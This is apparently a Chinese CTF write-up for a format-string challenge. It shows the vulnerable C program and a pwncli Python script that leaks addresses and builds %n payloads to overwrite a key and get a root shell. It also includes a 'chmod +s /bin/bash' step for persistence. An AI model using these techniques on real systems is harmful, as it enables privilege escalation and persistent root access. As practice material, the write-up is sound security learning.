总结
直接用scp
从远程主机下载二进制文件分析,你会发现远程主机执行的实际是x64
文件而不是x86
,并且开启了PIE
防护。
checksec
可以直接下载远程的libc
和ld
,然后patchelf
。
漏洞点
附上远程主机上的源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
unsigned long long key;
char buf[100];
char buf2[100];
int fsb(char** argv, char** envp){
char* args[]={"/bin/sh", 0};
int i;
char*** pargv = &argv;
char*** penvp = &envp;
char** arg;
char* c;
for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
*pargv=0;
*penvp=0;
for(i=0; i<4; i++){
printf("Give me some format strings(%d)\n", i+1);
read(0, buf, 100);
printf(buf);
}
printf("Wait a sec...\n");
sleep(3);
printf("key : \n");
read(0, buf2, 100);
unsigned long long pw = strtoull(buf2, 0, 10);
if(pw == key){
printf("Congratz!\n");
setuid(0);
setgid(0);
execve(args[0], args, 0);
return 0;
}
printf("Incorrect key \n");
return 0;
}
int main(int argc, char* argv[], char** envp){
int fd = open("/dev/urandom", O_RDONLY);
if( fd==-1 || read(fd, &key, 8) != 8 ){
printf("Error, tell admin\n");
return 0;
}
close(fd);
alloca(0x12345 & key);
fsb(argv, envp); // exploit this format string bug!
return 0;
}
|
非栈上的格式化字符串漏洞利用,虽然一开始栈随机降低了,但是可以根据地址计算出偏移。
利用思路
- 首先利用格式化字符串漏洞泄露出有用的栈地址和程序加载地址,计算出基地址
- 利用
rbp
跳板,在栈上布置key
的地址
- 将
key
的内容写为0
- 获取
root shell
- 执行
chmod +s /bin/bash
,避免掉线
EXP
写了个脚本手动输入一下然后交互:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
# %11$p,%14$p,%18$p,###
log_ex("please input: %11$p,%14$p,%18$p,###")
m = input("Gie me the input: ")
stack1, code1, stack2, *_ = m.split(",")
stack1 = int16_ex(stack1)
code1 = int16_ex(code1)
stack2 = int16_ex(stack2)
codebase = code1 - 0xcb8
log_code_base_addr(codebase)
log_address("stack1", stack1)
log_address("stack2", stack2)
offset = 7 + (stack2 - stack1) // 8
log_ex(f"offset: {offset}")
key_addr = codebase + 0x202040
log_address("key addr", key_addr)
if key_addr & 0xffffffff >= 0x7ffffffff:
errlog_ex_highlight("try again!")
first_payload = f"%{key_addr & 0xffffffff}c%18$n".ljust(0x18, "X")
second_payload = f"%{offset}$ln".ljust(0x18, "X")
log_ex(f"The first payload: {first_payload}")
log_ex(f"The second payload: {second_payload}")
|
等待一会儿输入第二段payload
,然后输入key
为0
:
成功的一次:
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli